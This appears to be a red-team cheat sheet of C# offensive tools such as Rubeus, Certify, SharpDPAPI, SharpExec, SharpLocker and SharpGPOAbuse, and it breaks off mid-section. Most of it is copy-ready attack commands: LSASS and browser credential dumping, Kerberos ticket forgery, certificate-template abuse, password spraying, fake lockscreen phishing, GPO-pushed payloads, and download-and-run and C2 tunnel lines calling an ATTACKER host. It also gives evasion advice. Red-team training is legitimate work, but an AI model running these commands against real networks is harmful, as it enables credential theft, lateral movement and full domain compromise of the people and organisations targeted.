All-in-one guide to C# (.NET) offensive security tools for Red Teaming, Penetration Testing, and Adversary Simulation.

Legend: [AD] = Active Directory | [LSASS] = Local Security Authority | [DPAPI] = Data Protection API | [KDC] = Key Distribution Center | [DA] = Domain Admin | [TGT] = Ticket Granting Ticket | [TGS] = Ticket Granting Service | [CS] = Cobalt Strike | [PTH] = Pass-the-Hash | [PTT] = Pass-the-Ticket

1. Why C# / Sharp Tools?

Why Red Teamers Moved from PowerShell to C

Factor	PowerShell	C# / .NET
AMSI Bypass	Detectable; requires obfuscation	Bypasses AMSI natively (if loaded via reflection)
ScriptBlock Logging	Logs ALL PS commands to Event ID 4104	No PowerShell logs generated
Execution Policy	Blocked by default policy	Not affected; .NET assembly
In-Memory Execution	IEX-based, detectable	`execute-assembly` — never touches disk
CLM Bypass	Constrained Language Mode blocks PS	C# unaffected
Detection Surface	High (PowerShell.exe process)	Lower; runs as child of any .NET host

Execution Methods

Method 1: Direct Execution (Disk)
.\SharpUp.exe audit

Method 2: execute-assembly (Cobalt Strike / Sliver — never touches disk!)
beacon> execute-assembly C:\Tools\SharpUp.exe audit

Method 3: In-Memory via PowerShell Reflection
$bytes = [System.IO.File]::ReadAllBytes("C:\tool.exe")

Method 4: Donut → Shellcode → Inject into process
donut.exe -f SharpHound.exe -o shellcode.bin

Inject shellcode.bin into any process

Method 5: SharpCradle → Download & execute from URL
SharpCradle.exe http://ATTACKER/SharpHound.exe args

2. GhostPack Suite (SpecterOps)

GhostPack is the gold standard of C# offensive tooling by SpecterOps (creators of BloodHound). It is a collection of C# re-implementations of previous PowerShell functionality.

GitHub: https://github.com/GhostPack Docs: https://docs.specterops.io/ghostpack-docs

2.1 Seatbelt — Host Survey & Enumeration

Performs comprehensive "safety checks" on the host — both for offense (what can I exploit?) and defense (what's exposed?). Think of it as winPEAS but written in C#.

MITRE: T1082 (System Information Discovery), T1016 (Network Config Discovery)

# Run ALL checks (verbose output)
.\Seatbelt.exe -group=all

# Run ALL checks, output to file
.\Seatbelt.exe -group=all -outputfile="C:\Temp\seatbelt.txt"

# === SYSTEM CHECKS ===
.\Seatbelt.exe OSInfo                # OS version, hostname, patches
.\Seatbelt.exe PowerShellHistory     # PS history of all users (credentials!)
.\Seatbelt.exe EnvironmentPath       # PATH variable (hijacking?)
.\Seatbelt.exe WindowsDefender       # Defender status, exclusions
.\Seatbelt.exe AntiVirus             # Installed AV products
.\Seatbelt.exe Hotfixes              # Missing patches (CVE hunting)
.\Seatbelt.exe LocalUsers            # Local accounts + groups
.\Seatbelt.exe LoggedOnUsers         # Currently logged in users

# === CREDENTIAL HUNTING ===
.\Seatbelt.exe CredEnum              # Windows Credential Manager
.\Seatbelt.exe WindowsVault          # Windows Vault credentials
.\Seatbelt.exe SavedRDPConnections   # Saved RDP targets + credentials
.\Seatbelt.exe CloudCredentials      # AWS, Azure, GCP credential files
.\Seatbelt.exe DotNetConfig          # web.config / connectionstrings (DB passwords!)
.\Seatbelt.exe IEFavorites           # Browser favorites (URLs)
.\Seatbelt.exe ChromePresence        # Chrome installed?
.\Seatbelt.exe FirefoxPresence       # Firefox installed?
.\Seatbelt.exe SlackPresence         # Slack client (token theft!)
.\Seatbelt.exe MobaXtermDecryptedCredentials  # MobaXterm saved SSH/RDP creds

# === PRIVILEGE ESCALATION CHECKS ===
.\Seatbelt.exe TokenPrivileges       # Current token privileges (SeImpersonate?)
.\Seatbelt.exe ProcessCreationEvents # Recent processes (Event ID 4688)
.\Seatbelt.exe AutoRuns              # Registry autorun keys
.\Seatbelt.exe ScheduledTasks        # All scheduled tasks
.\Seatbelt.exe Services              # Running/stopped services
.\Seatbelt.exe ModifiableServices    # Services current user can modify!
.\Seatbelt.exe UnattendedInstallFiles  # unattend.xml (plaintext creds!)

# === NETWORK CHECKS ===
.\Seatbelt.exe NetworkShares         # Local shares (+ permissions)
.\Seatbelt.exe NetworkConnections    # Active TCP/UDP connections
.\Seatbelt.exe DNSCache              # DNS cache (internal hostnames!)
.\Seatbelt.exe ARPTable              # ARP table (live hosts)
.\Seatbelt.exe FirewallRules         # Windows Firewall rules

# === DOMAIN CHECKS ===
.\Seatbelt.exe DomainInfo            # Domain name, DC, functional level
.\Seatbelt.exe GroupPolicyChanges    # Recent GPO changes
.\Seatbelt.exe LocalAdmins           # Local admin group members

# === OPSEC CHECKS ===
.\Seatbelt.exe ProcessCreationEvents # What processes were recently launched?
.\Seatbelt.exe Sysmon                # Is Sysmon installed and running?
.\Seatbelt.exe InterestingProcesses  # AV, EDR, monitoring tools

# Run specific GROUP of checks
.\Seatbelt.exe -group=user           # user-context checks
.\Seatbelt.exe -group=system         # system checks (needs admin)
.\Seatbelt.exe -group=chromium       # all chromium-based browser checks
.\Seatbelt.exe -group=remote         # remote access checks
.\Seatbelt.exe -group=misc           # miscellaneous

# Remote host enumeration (requires admin)
.\Seatbelt.exe -computername=192.168.1.10 -username=CORP\Admin -password=P@ss -group=all

2.2 SharpUp — Privilege Escalation Checks

C# port of PowerUp. Finds privilege escalation vectors on Windows — misconfigured services, writable paths, registry keys, AlwaysInstallElevated, etc.

MITRE: T1574.005 (Hijack Execution: Executable Installer), T1574.009 (Path Interception), T1548.002 (UAC Bypass)

# Audit ALL vectors
.\SharpUp.exe audit

# Specific checks:
.\SharpUp.exe audit UnquotedServicePath      # Services with spaces in path (hijackable!)
.\SharpUp.exe audit ModifiableServices       # Services current user can reconfigure
.\SharpUp.exe audit ModifiableServiceBinaries  # Service binaries that are writable
.\SharpUp.exe audit AlwaysInstallElevated    # MSI always installs as SYSTEM?
.\SharpUp.exe audit ModifiableRegistryAutoRuns  # Writable autoruns
.\SharpUp.exe audit ModifiableScheduledTask  # Writable scheduled task binaries
.\SharpUp.exe audit DLLHijacking             # DLL hijacking opportunities

# Example output:
# === UnquotedServicePath ===
# Service: VulnSvc
# Path: C:\Program Files\Vuln App\app.exe
# → Drop payload as: C:\Program Files\Vuln.exe

# === ModifiableServices ===
# Service: BackupSvc
# StartName: LocalSystem   ← runs as SYSTEM!
# → sc config BackupSvc binPath= "C:\Temp\shell.exe"
# → sc stop BackupSvc && sc start BackupSvc  → SYSTEM!

# In Cobalt Strike
beacon> execute-assembly C:\Tools\SharpUp.exe audit

2.3 SharpRoast — Kerberoasting

C# tool for Kerberoasting — requests Kerberos service tickets (TGS) for SPN-linked accounts and extracts them for offline hash cracking.

MITRE: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

# Roast ALL SPN accounts in the domain
.\SharpRoast.exe all

# Roast a specific user
.\SharpRoast.exe user:sqlsvc

# Roast all, output to file
.\SharpRoast.exe all > hashes.txt

# Example output hash (crack with hashcat):
# $krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/db01.corp.local:1433*$HASH...

# Crack the hash:
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule

# NOTE: Prefer Rubeus for Kerberoasting (more options, AES support)

2.4 SharpDump — LSASS Minidump

Creates a minidump of LSASS process for offline credential analysis. Cleaner and more OPSEC-friendly than ProcDump.

MITRE: T1003.001 (OS Credential Dumping: LSASS Memory)

# Dump LSASS (default output: debug.out)
.\SharpDump.exe

# Dump specific process by PID
.\SharpDump.exe -pid 888

# Output is a GZIP-compressed minidump!
# Decompress on Linux:
mv debug.out lsass.bin
python3 -c "import gzip; open('lsass.dmp','wb').write(gzip.open('lsass.bin').read())"
pypykatz lsa minidump lsass.dmp

# Analyze with Mimikatz on Windows:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

2.5 SafetyKatz — In-Memory Mimikatz

Downloads Mimikatz into memory and runs sekurlsa::logonpasswords automatically. Never writes Mimikatz to disk. Uses MiniDumpWriteDump API to dump LSASS into memory then parses it.

MITRE: T1003.001 (LSASS Memory), T1059.001 (PowerShell)

# Run SafetyKatz directly (dumps creds immediately)
.\SafetyKatz.exe

# Optional custom arguments (passed to Mimikatz)
.\SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
.\SafetyKatz.exe "lsadump::dcsync /user:krbtgt" "exit"

# BetterSafetyKatz — PE-header patched (evades static detection)
# https://github.com/Flangvik/BetterSafetyKatz
.\BetterSafetyKatz.exe

# execute-assembly in Cobalt Strike
beacon> execute-assembly C:\Tools\SafetyKatz.exe

2.6 SharpWMI — WMI Operations

C# implementation for local and remote WMI operations — execute commands, query processes, and subscribe for persistence.

MITRE: T1047 (Windows Management Instrumentation), T1546.003 (WMI Event Subscription)

# Local WMI query
.\SharpWMI.exe action=query query="SELECT * FROM Win32_Process"

# Remote command execution via WMI (no PSExec/SMB needed!)
.\SharpWMI.exe action=exec computername=DC01 command="cmd.exe /c whoami > C:\Temp\out.txt"

# Remote command with credentials
.\SharpWMI.exe action=exec computername=DC01 username="CORP\Admin" password="P@ssw0rd" command="cmd.exe /c net user hacker P@ss /add /domain"

# VBS payload via WMI
.\SharpWMI.exe action=exec computername=DC01 command="wscript.exe //E:vbscript C:\Temp\shell.vbs"

# WMI event subscription (persistence — fires every 60 seconds)
.\SharpWMI.exe action=create computername=DC01 eventname="Updater" command="C:\Temp\beacon.exe" interval=60

# Delete WMI subscription
.\SharpWMI.exe action=delete computername=DC01 eventname="Updater"

# Query installed software remotely
.\SharpWMI.exe action=query computername=DC01 query="SELECT * FROM Win32_Product" username="CORP\Admin" password="P@ss"

2.7 SharpDPAPI — DPAPI Credential Extraction

C# port of Mimikatz DPAPI functionality. Extracts masterkeys, credentials, vaults, RDP passwords, Chrome cookies/passwords — decryptable without SYSTEM or Mimikatz.

MITRE: T1555.003 (Credentials from Web Browsers), T1552.002 (Credentials in Registry)

# === MASTERKEY OPERATIONS ===

# Get domain DPAPI backup key from DC (MOST POWERFUL — decrypts ALL user data!)
.\SharpDPAPI.exe backupkey /server:DC01.CORP.LOCAL /file:backupkey.pvk

# Triage ALL reachable user masterkeys
.\SharpDPAPI.exe masterkeys /pvk:backupkey.pvk

# === CREDENTIAL FILES ===

# Dump ALL credential files (using domain backup key)
.\SharpDPAPI.exe credentials /pvk:backupkey.pvk

# Dump machine credentials (needs SYSTEM)
.\SharpDPAPI.exe machinecredentials

# Dump vaults (Windows Credential Manager)
.\SharpDPAPI.exe vaults /pvk:backupkey.pvk
.\SharpDPAPI.exe machinevaults

# Triage everything at once
.\SharpDPAPI.exe triage /pvk:backupkey.pvk
.\SharpDPAPI.exe machinetriage

# === RDP CREDENTIALS ===
.\SharpDPAPI.exe rdg /pvk:backupkey.pvk
# → Decrypts all saved .rdg RDCMan files → plaintext RDP credentials!

# === BLOBS ===
# Decrypt arbitrary DPAPI blob
.\SharpDPAPI.exe blob /target:C:\path\to\blob /pvk:backupkey.pvk

# === REMOTE TARGETING ===
.\SharpDPAPI.exe credentials /server:WORKSTATION01 /pvk:backupkey.pvk

2.8 SharpChrome — Chrome Credential Extraction

Dedicated DPAPI-based Chrome/Edge credential and cookie extractor. Decrypts Chrome Login Data and Cookies using DPAPI masterkeys or domain backup key.

MITRE: T1555.003 (Credentials from Web Browsers)

# Dump Chrome logins (current user, local)
.\SharpChrome.exe logins /unprotect

# Dump Chrome cookies (all)
.\SharpChrome.exe cookies /unprotect

# Dump Chrome cookies + filter by site
.\SharpChrome.exe cookies /url:"github.com" /unprotect
.\SharpChrome.exe cookies /cookie:"session" /unprotect

# Dump using domain DPAPI backup key (admin context)
.\SharpChrome.exe logins /pvk:backupkey.pvk
.\SharpChrome.exe cookies /pvk:backupkey.pvk /format:json

# Target remote user profile
.\SharpChrome.exe logins /target:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data" /pvk:backupkey.pvk

# Target remote machine
.\SharpChrome.exe logins /server:WORKSTATION01 /pvk:backupkey.pvk

# Output as EditThisCookie JSON (import directly into browser!)
.\SharpChrome.exe cookies /url:"corp.sharepoint.com" /format:json /setneverexpire /unprotect

2.9 Rubeus — Kerberos Attack Swiss Army Knife

The Kerberos toolkit for red teaming. Kerberoasting, AS-REP Roasting, ticket harvesting, PTT, Golden/Silver Tickets, S4U abuse, and much more.

MITRE: T1558.001/002/003/004, T1550.003, T1003.006

# === KERBEROASTING ===
# Roast all SPN accounts → AES + RC4 hashes
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Roast with RC4 downgrade (easier to crack)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

# Roast specific user
.\Rubeus.exe kerberoast /user:sqlsvc /outfile:hash.txt

# Crack:
hashcat -m 13100 hashes.txt rockyou.txt
hashcat -m 19700 hashes.txt rockyou.txt  # AES-256 (etype 18)

# === AS-REP ROASTING ===
# Find accounts with Kerberos pre-auth disabled → dump hash without credentials!
.\Rubeus.exe asreproast /outfile:asrep.txt

# AS-REP roast specific user
.\Rubeus.exe asreproast /user:jsmith /outfile:asrep.txt

# Crack:
hashcat -m 18200 asrep.txt rockyou.txt

# === TICKET HARVESTING ===
# Harvest ALL tickets from current machine (monitors for new tickets!)
.\Rubeus.exe harvest /interval:30

# List all tickets in memory
.\Rubeus.exe klist

# Dump a specific ticket
.\Rubeus.exe dump /service:krbtgt /nowrap

# Dump tickets for specific user (LUID)
.\Rubeus.exe dump /luid:0x3e7 /nowrap

# === PASS THE TICKET (PTT) ===
# Inject a .kirbi ticket
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Inject base64 ticket
.\Rubeus.exe ptt /ticket:BASE64_TICKET

# Purge all tickets
.\Rubeus.exe purge

# === REQUEST TGT (with credentials) ===
.\Rubeus.exe asktgt /user:jsmith /password:P@ssw0rd /domain:CORP.LOCAL /ptt
.\Rubeus.exe asktgt /user:jsmith /ntlm:NTLM_HASH /domain:CORP.LOCAL /ptt
.\Rubeus.exe asktgt /user:jsmith /aes256:AES_KEY /domain:CORP.LOCAL /opsec /ptt

# === REQUEST TGS (service ticket) ===
.\Rubeus.exe asktgs /ticket:tgt.kirbi /service:cifs/FILESERVER.CORP.LOCAL /ptt

# === GOLDEN TICKET ===
.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:CORP.LOCAL /sid:S-1-5-21-... /user:FakeAdmin /ptt
.\Rubeus.exe golden /aes256:KRBTGT_AES256 /domain:CORP.LOCAL /sid:S-1-5-21-... /user:Admin /ptt

# === SILVER TICKET ===
.\Rubeus.exe silver /rc4:SERVICE_HASH /domain:CORP.LOCAL /sid:S-1-5-21-... /user:Admin /service:cifs/FILESERVER.CORP.LOCAL /ptt

# === OVERPASS-THE-HASH / PTH ===
.\Rubeus.exe asktgt /user:Administrator /ntlm:NTLM_HASH /domain:CORP.LOCAL /ptt
# → Converts NTLM hash into a valid Kerberos TGT → use with /ptt

# === S4U (Constrained Delegation Abuse) ===
.\Rubeus.exe s4u /user:svcaccount /rc4:HASH /domain:CORP.LOCAL /impersonateuser:Administrator /msdsspn:cifs/FILESERVER /ptt

# S4U with existing TGT
.\Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /msdsspn:host/DC01.CORP.LOCAL /altservice:cifs /ptt

# === UNCONSTRAINED DELEGATION ABUSE ===
# Monitor for TGTs from machines that authenticate to your controlled host
.\Rubeus.exe monitor /interval:5 /nowrap

# === CERTIFICATE-BASED ATTACKS (ADCS) ===
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:CertPass /domain:CORP.LOCAL /ptt

# === DIAMOND TICKET (Stealthier than Golden Ticket) ===
.\Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:CORP.LOCAL /sid:S-1-5-21-... /user:Admin /enctype:rc4 /ticketuser:Admin /ticketuserid:500 /groups:512 /ptt

2.10 Certify — AD CS Enumeration & Exploitation

Enumerates Active Directory Certificate Services (AD CS) misconfigurations. Finds ESC1–ESC8 attack paths and requests/abuses vulnerable certificate templates.

MITRE: T1649 (Steal or Forge Authentication Certificates)

# === ENUMERATION ===

# Find ALL AD CS misconfigurations (most useful!)
.\Certify.exe find /vulnerable

# Find all certificate templates
.\Certify.exe find

# Find templates + CA info
.\Certify.exe find /showAllPermissions

# List Certificate Authorities
.\Certify.exe cas

# === ESC1 — Any User Can Enroll, SAN Allowed ===
# Find ESC1 templates (anyone can request cert for ANY user!)
.\Certify.exe find /vulnerable
# Look for: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag + low enrollment rights

# Request cert for DA (abuse ESC1)
.\Certify.exe request /ca:DC01\CORP-CA /template:VulnerableTemplate /altname:Administrator
# → Saves cert.pem

# Convert PEM to PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Use cert to get DA TGT via Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:password /domain:CORP.LOCAL /ptt

# === ESC2 — Any Purpose Templates ===
.\Certify.exe request /ca:DC01\CORP-CA /template:AnyPurposeTemplate

# === ESC3 — Enrollment Agent Template ===
.\Certify.exe request /ca:DC01\CORP-CA /template:EnrollmentAgentTemplate
.\Certify.exe request /ca:DC01\CORP-CA /template:AnotherTemplate /onbehalfof:CORP\Administrator /enrollcert:agent.pfx /enrollcertpw:password

# === ESC4 — Template ACL Misconfiguration ===
# (If you can write to a template, modify it to ESC1 first)
.\Certify.exe pkiobjects

# === ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 ===
# CA allows SAN in ALL templates (even if not marked)
.\Certify.exe request /ca:DC01\CORP-CA /template:User /altname:Administrator

# ForgeCert — Forge AD CS certificates using CA private key
.\ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" --SubjectAltName "Administrator@CORP.LOCAL" --NewCertPath forgery.pfx --NewCertPassword "pass"

2.11 KeeThief — KeePass Master Key Extraction

Extracts KeePass 2.x master keys and database keys from memory when KeePass is running. Works without knowing the master password.

MITRE: T1555 (Credentials from Password Stores)

# List running KeePass processes
.\KeeThief.exe -list

# Extract keys from KeePass memory
.\KeeThief.exe -keys

# Dump with Metasploit kiwi
meterpreter > load kiwi
meterpreter > kiwi_cmd lsadump::keepass

# Example output:
# [KeePass] ● Key file found!
# [KeePass] ● Master Password: SuperSecretPass123!
# [KeePass] ● Database path: C:\Users\jsmith\Documents\passwords.kdbx

# Download the .kdbx + use master password to open in KeePass
# Or use kpcli/keepassxc-cli for headless access

3. AD Enumeration Tools

3.1 SharpHound — BloodHound Ingestor

C# data collector for BloodHound. Collects AD relationships — group memberships, sessions, ACLs, trusts, GPOs — to visualize attack paths to Domain Admin.

MITRE: T1069.002 (Domain Groups), T1087.002 (Domain Accounts), T1018 (Remote System Discovery)

# Default collection (most common)
.\SharpHound.exe -c All

# Quiet collection (less network noise)
.\SharpHound.exe -c DCOnly

# Stealth collection (slower, less detection)
.\SharpHound.exe -c All --stealth

# Specific collection methods
.\SharpHound.exe -c Group,Session,Trusts,ACL,ObjectProps,GPOLocalGroup

# Target specific domain
.\SharpHound.exe -c All -d CORP.LOCAL

# Target specific DC
.\SharpHound.exe -c All --domaincontroller DC01.CORP.LOCAL

# Exclude domain controllers from session enumeration (less noise!)
.\SharpHound.exe -c All --excludedcs

# Loop collection (collect every 30 min for 3 hours)
.\SharpHound.exe -c All --loop --loopduration 03:00:00 --loopinterval 00:30:00

# Output to specific folder + zip
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bh_data.zip

# Run with alternate credentials
.\SharpHound.exe -c All --ldapusername jsmith --ldappassword P@ssw0rd

# OPSEC: Use DCOnly to avoid touching workstations
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# After collection → upload .zip to BloodHound GUI:
# bloodhound-python -c All -u jsmith -p P@ss -d CORP.LOCAL -ns DC_IP  (Linux)

# === KEY BLOODHOUND QUERIES AFTER IMPORT ===
# "Find Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
# "Find Computers with Unsupported Operating Systems"
# "Shortest Paths to High Value Targets"
# "Find AS-REP Roastable Users"
# "Find Kerberoastable Users with most Privileges"

3.2 SharpView — PowerView in C

C# implementation of harmj0y's PowerView. Full AD enumeration without PowerShell — avoids ScriptBlock logging.

MITRE: T1069, T1087, T1482 (Domain Trust Discovery)

# Current domain info
.\SharpView.exe Get-Domain
.\SharpView.exe Get-DomainController

# Enumerate users
.\SharpView.exe Get-DomainUser
.\SharpView.exe Get-DomainUser -Identity jsmith
.\SharpView.exe Get-DomainUser -Properties samaccountname,memberof,description

# Find users with passwords in description field!
.\SharpView.exe Get-DomainUser -LDAPFilter "(description=*password*)"

# Enumerate groups
.\SharpView.exe Get-DomainGroup
.\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"
.\SharpView.exe Get-DomainGroup -AdminCount

# Enumerate computers
.\SharpView.exe Get-DomainComputer
.\SharpView.exe Get-DomainComputer -Properties dnshostname,operatingsystem
.\SharpView.exe Get-DomainComputer -Unconstrained  # Unconstrained delegation!

# Find local admins (where am I admin?)
.\SharpView.exe Find-LocalAdminAccess
.\SharpView.exe Find-LocalAdminAccess -ComputerName WORKSTATION01

# Find domain shares
.\SharpView.exe Find-DomainShare
.\SharpView.exe Find-DomainShare -CheckShareAccess

# Find interesting files on shares
.\SharpView.exe Find-InterestingDomainShareFile -Include "*.config,*.xml,*.ps1,*password*"

# GPO enumeration
.\SharpView.exe Get-DomainGPO
.\SharpView.exe Get-DomainGPOLocalGroup

# ACL enumeration (who has rights over what?)
.\SharpView.exe Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
.\SharpView.exe Find-InterestingDomainAcl -ResolveGUIDs

# SPN enumeration (find Kerberoastable accounts)
.\SharpView.exe Get-DomainUser -SPN
.\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname

# Domain trusts
.\SharpView.exe Get-DomainTrust
.\SharpView.exe Get-ForestTrust

# Sessions (where are DAs logged in?)
.\SharpView.exe Get-DomainUserEvent
.\SharpView.exe Get-NetSession -ComputerName DC01

3.3 ADSearch — LDAP Query Tool

Lightweight LDAP searcher for Active Directory. Fast, simple, purpose-built for red team queries without requiring PowerShell.

# Basic LDAP search
.\ADSearch.exe --search "(&(objectCategory=user)(samaccountname=*))"

# Find all Domain Admins
.\ADSearch.exe --search "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=CORP,DC=LOCAL))"

# Find all Kerberoastable accounts (have SPN set)
.\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes samaccountname,serviceprincipalname

# Find AS-REP Roastable accounts
.\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes samaccountname

# Find computers with Unconstrained Delegation
.\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes dnshostname

# Find computers with Constrained Delegation
.\ADSearch.exe --search "(&(objectCategory=computer)(msDS-AllowedToDelegateTo=*))" --attributes dnshostname,msDS-AllowedToDelegateTo

# Find accounts with passwords that never expire
.\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" --attributes samaccountname

# Search different domain / DC
.\ADSearch.exe --search "(objectCategory=user)" --domain CHILD.CORP.LOCAL --domaincontroller 10.10.10.5

# Output as JSON
.\ADSearch.exe --search "(objectCategory=user)" --json --output users.json

3.4 ADCollector — Rapid AD Triage

Lightweight, fast AD triage tool focused on discovering attack surfaces quickly.

# Full triage
.\ADCollector.exe

# Specific enumeration
.\ADCollector.exe --spn             # SPNs (Kerberoastable)
.\ADCollector.exe --acl             # Dangerous ACLs
.\ADCollector.exe --delegation      # All delegation configs
.\ADCollector.exe --trust           # Domain trusts
.\ADCollector.exe --gpo             # GPO info
.\ADCollector.exe --laps            # LAPS-enabled computers (read passwords?)

3.5 SharpSniper — Find Specific Users

Finds specific high-value users (by username) and identifies the IP address they are currently logged onto. Useful for targeting executives or admins.

# Find where user 'CEO' is logged in
.\SharpSniper.exe CEO

# Find multiple targets
.\SharpSniper.exe Administrator
.\SharpSniper.exe jsmith,ceo,cto,ciso

# Output:
# User: Administrator | IP: 192.168.1.50 | Hostname: ADMINWORKSTATION
# → Now you know exactly which machine to target for credential harvesting!

4. Lateral Movement Tools

4.1 SharpExec — Remote Execution

C# lateral movement tool supporting WMIExec, SMBExec, PSExec, and WMI for remote command execution.

MITRE: T1021.002 (SMB/Admin Shares), T1047 (WMI), T1569.002 (Service Execution)

# WMIExec (stealthy — no service creation, no SMB shares)
.\SharpExec.exe -m=wmiexec -i=192.168.1.10 -u=Administrator -p=P@ssw0rd -c="whoami"

# SMBExec (uses SMB named pipes, no binary drop)
.\SharpExec.exe -m=smbexec -i=192.168.1.10 -u=Administrator -p=P@ssw0rd -c="whoami"

# PSExec (creates + runs service on remote — LOUD, detected by most AV!)
.\SharpExec.exe -m=psexec -i=192.168.1.10 -u=Administrator -p=P@ssw0rd -c="C:\Temp\beacon.exe"

# WMI method
.\SharpExec.exe -m=wmi -i=192.168.1.10 -u=Administrator -p=P@ssw0rd -c="cmd.exe /c dir C:\ > C:\Temp\out.txt"

# OPSEC comparison:
# WMIExec  → Quietest (no service, no binaries)
# SMBExec  → Medium   (named pipe, no binary)
# WMI      → Medium   (spawns WmiPrvSE.exe child)
# PSExec   → LOUDEST  (service creation + binary drop)

4.2 SharpMapExec — CrackMapExec for Windows

C# version of CrackMapExec. Spray credentials, execute commands, and dump secrets across an entire subnet from a Windows host.

MITRE: T1021, T1110.003 (Password Spraying)

# SMB authentication check across subnet
.\SharpMapExec.exe smb --accounts users.txt --passwords passwords.txt --domain CORP.LOCAL

# Use NTLM hash instead of password
.\SharpMapExec.exe smb --accounts users.txt --hashes NTLM_HASH --domain CORP.LOCAL

# Execute command on all accessible hosts
.\SharpMapExec.exe smb --accounts Administrator --passwords P@ssw0rd --domain CORP.LOCAL --exec "whoami"

# WinRM (PowerShell remoting) spray
.\SharpMapExec.exe winrm --accounts users.txt --passwords passwords.txt --domain CORP.LOCAL

# Dump SAM on all admin hosts
.\SharpMapExec.exe smb --accounts Administrator --passwords P@ss --domain CORP.LOCAL --sam

# Check specific subnet
.\SharpMapExec.exe smb --accounts Administrator --passwords P@ss --domain CORP.LOCAL --targets 192.168.1.0/24

4.3 SharpSploit — .NET Post-Exploitation Library

Full .NET post-exploitation framework. Reference library for all red team operations — credential access, execution, lateral movement, evasion.

GitHub: https://github.com/cobbr/SharpSploit

# SharpSploit is a LIBRARY — used programmatically or via Covenant C2

# Key capabilities:
# - MimikatzLogonPasswords()    → Credential dumping
# - SharpHoundResults()         → AD enumeration
# - InjectShellcode()           → Process injection
# - BypassAmsi()                → AMSI bypass
# - Impersonate()               → Token impersonation
# - Unhook()                    → EDR unhooking

# Via Covenant C2 (recommended usage):
# GruntTask: SharpSploit.Credentials.Mimikatz.LogonPasswords()
# GruntTask: SharpSploit.Enumeration.Net.GetDomainUsers()
# GruntTask: SharpSploit.Execution.Shell.ShellExecute("whoami")

4.4 SharpSocks — C2 Tunneling

SOCKS4a proxy tunnel over HTTP/HTTPS. Routes C2 traffic through a victim machine to reach internal network resources.

# On attacker C2 server:
.\SharpSocksServer.exe --uri http://0.0.0.0:8080 --session-cookie auth --payload-cookie data

# On victim (via Cobalt Strike/manual):
.\SharpSocksImplant.exe --url http://ATTACKER:8080 --session-cookie auth --payload-cookie data

# Configure proxychains on Linux:
# /etc/proxychains4.conf:
# socks4a 127.0.0.1 1080

# Route tools through tunnel:
proxychains impacket-secretsdump CORP/Admin:P@ss@192.168.1.10
proxychains nmap -sT -Pn 10.10.10.0/24

5. Credential Access Tools

5.1 SharpWeb — Browser Credential Dumper

Dumps saved credentials from Chrome, Firefox, IE, and Edge from the current user context.

MITRE: T1555.003 (Credentials from Web Browsers)

# Dump ALL browser credentials
.\SharpWeb.exe all

# Dump Chrome only
.\SharpWeb.exe chrome

# Dump Firefox only
.\SharpWeb.exe firefox

# Dump IE/Edge Legacy
.\SharpWeb.exe ie

# Example output:
# [Chrome]
# URL:      https://github.com
# Username: jsmith@corp.com
# Password: MyP@ssword!

5.2 SharpLocker — Fake Lockscreen Phishing

Pops a realistic Windows lock screen to harvest the current user's plaintext credentials. The victim types their real password thinking their screen locked.

MITRE: T1056.002 (GUI Input Capture)

# Pop fake lock screen (display name + username pre-filled from current user)
.\SharpLocker.exe

# Output (received in Cobalt Strike console or stdout):
# [*] Username: CORP\jsmith
# [*] Password: RealPassword123!

# Works perfectly via execute-assembly — interactive session needed:
beacon> execute-assembly C:\Tools\SharpLocker.exe

# Defense detection: conhost.exe spawning from unusual parent

5.3 SharpLoginPrompt — Credential Dialog Phishing

Displays a themed credential dialog (not a full lockscreen) asking the user to re-enter credentials.

# Generic Windows credential prompt
.\SharpLoginPrompt.exe

# Custom reason message
.\SharpLoginPrompt.exe "Your session has expired. Please re-authenticate."

# Output:
# [*] Username: jsmith
# [*] Password: MyRealPass!

6. Persistence & Backdoors

6.1 SharpGPOAbuse — GPO Exploitation

Abuses Group Policy Object (GPO) edit rights to add scheduled tasks, local admins, or scripts to GPO-linked OUs — compromising all computers in scope.

MITRE: T1484.001 (Group Policy Modification), T1053.005 (Scheduled Task)

# Add local admin via GPO (affects ALL computers in OU!)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jsmith --GPOName "Default Domain Policy"

# Add scheduled task that runs payload (as SYSTEM) via GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c C:\Temp\beacon.exe" --GPOName "Default Domain Policy"

# Add immediate scheduled task (runs right now, not on next reboot)
